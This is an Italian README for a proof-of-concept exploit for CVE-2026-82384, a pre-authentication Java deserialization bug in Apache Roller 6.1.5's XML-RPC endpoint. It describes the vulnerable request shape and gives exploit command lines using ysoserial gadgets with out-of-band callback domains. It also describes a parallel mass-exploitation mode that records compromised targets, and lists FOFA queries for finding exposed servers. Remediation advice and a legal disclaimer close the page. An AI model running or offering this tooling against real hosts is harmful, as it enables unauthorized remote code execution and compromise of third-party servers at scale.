CVE-2026-82384 — Deserializzazione XML-RPC in Apache Roller 6.1.5

PoC in Python 3 per CVE-2026-82384 — deserializzazione Java non autenticata su Apache Roller 6.1.5 tramite il servlet legacy XML-RPC.

Pagina PoC: https://pocbit.org/pocs/cve-2026-82384

---

Cos'è Apache Roller?

Apache Roller è un server di blog multiutente basato su Java (storicamente "Roller Weblogger"). Le installazioni sono solitamente WAR su Tomcat con un'interfaccia sotto /roller-ui/ e le API legacy Blogger / MetaWeblog su XML-RPC all'indirizzo /roller-services/xmlrpc. Roller 6.1.5 (set 2025) ha corretto un problema di sessione non correlato (CVE-2025-24859) ma ha lasciato lo stack XML-RPC in una configurazione pericolosa per questa CVE.

---

La vulnerabilità in parole semplici

CVE-2026-82384 è una deserializzazione di dati non attendibili (CWE-502) sull'endpoint XML-RPC:

1. Il XmlRpcServlet di Roller è configurato con enabledForExtensions=true, quindi la libreria Apache ws-xmlrpc accetta tipi di estensione del vendor, incluso ex:serializable — un oggetto Java serializzato codificato in base64.
2. Questa analisi avviene durante la gestione della richiesta HTTP, prima che venga valutata l'autenticazione Blogger/MetaWeblog.
3. Il mapping del servlet è sempre presente in web.xml, quindi il parser viene eseguito comunque anche quando gli amministratori disabilitano XML-RPC nelle impostazioni di Roller (webservices.enableXmlRpc=false). Disabilitare la funzionalità dall'interfaccia non chiude questo percorso pre-auth su 6.1.5.
4. Un attaccante remoto invia un corpo XML-RPC appositamente costruito; il server deserializza i byte dell'attaccante → esecuzione di codice remoto nella JVM (stessa classe di bug della storica CVE-2016-5003 in ws-xmlrpc / Archiva).

Affetto: solo Apache Roller 6.1.5 (secondo l'avviso del vendor).
Corretto: Apache Roller 6.1.6+ (PR #171): enabledForExtensions=false, e richieste rifiutate quando XML-RPC è disabilitato globalmente.

Metrica	Valore
CVSS 3.1	9.8 Critico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Auth	Nessuna per la primitiva di deserializzazione
Scopritore	n0mi1k
Vendor	Apache Software Foundation

---

Superficie d'attacco

Voce	Dettaglio
Endpoint	POST /roller-services/xmlrpc (provare anche /roller/roller-services/xmlrpc)
Content-Type	text/xml
Trigger	<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable> all'interno di un methodCall
Catena di gadget	Dipende dal classpath (Commons Collections, ecc.); spesso generata con ysoserial
Impatto	RCE come utente OS di Tomcat/Roller; tipicamente controllo completo dei dati del blog e pivot sull'host

---

Cosa fa questa PoC

Modalità	Comportamento
check	Individua le impronte di Roller, localizza l'URL XML-RPC, --probe-deser opzionale (invia byte di probe ex:serializable)
exploit	Invia il tuo payload serializzato (file, base64 o ysoserial tramite --ysoserial-jar)
Mass	--list targets.txt --mode exploit -j N — esecuzione parallela in blocco con JSONL + exploited.txt

Campi PoCbit: pocbit, pocbit_catalog, pocbit_page su ogni riga JSONL.
CLI: banner colorato, righe [HIT] / [EXPLOIT] / [FAIL] (disattivabile con --no-color).

Questo repository non include catene di gadget RCE funzionanti (dipendono dal classpath). Per lo sfruttamento reale, fornisci l'output di ysoserial o un file di payload verificato.

---

Requisiti

pip install -r requirements.txt

Per RCE (non solo rilevamento):

• Java + JAR ysoserial sulla macchina dell'attaccante
• Gadget di esempio: URLDNS (prova out-of-band), CommonsCollections6 (esecuzione di comandi sul tipico classpath di Roller — verificare prima in laboratorio)

---

Utilizzo

Rilevamento

python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12

Exploit (singolo target)

# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd pocbit.your-oast.domain

# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64

# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin

Sfruttamento massivo in blocco

python poc.py --list targets.txt --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd oast.example.com -j 10

• cve_2026_82384_exploit.jsonl — JSON per target
• exploited.txt — target in cui il payload è stato accettato / OOB inviato

---

Forma XML-RPC di esempio (a scopo didattico)

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>system.listMethods</methodName>
  <params>
    <param>
      <value>
        <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
          BASE64_JAVA_SERIALIZED_OBJECT
        </ex:serializable>
      </value>
    </param>
  </params>
</methodCall>

Su 6.1.5, l'analisi di questo body può comportare una deserializzazione prima che qualsiasi gestore di metodo imponga le credenziali.

---

Remediation

1. Aggiornare a Roller 6.1.6+ immediatamente.
2. Fino alla patch: bloccare /roller-services/xmlrpc a livello di reverse proxy / WAF (consentire solo gli IP degli amministratori).
3. Inventario: cercare host blog con Apache Roller, /roller-ui/, porta 8080/8443.
4. Problemi correlati della stessa release: CVE-2026-82377 (autorizzazione XML-RPC), CVE-2026-82386 (XXE nell'importazione dei bookmark) — anch'essi corretti in 6.1.6.

---

FOFA / hunting (esempi)

body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"

Conferma la versione 6.1.5 dal footer, dalla pagina delle informazioni o da WEB-INF / note di rilascio prima di considerarla sfruttabile.

---

Note legali

Utilizzare solo su sistemi per i quali si è autorizzati a eseguire test. Gli exploit di deserializzazione possono distruggere dati e violare la legge se usati in modo improprio.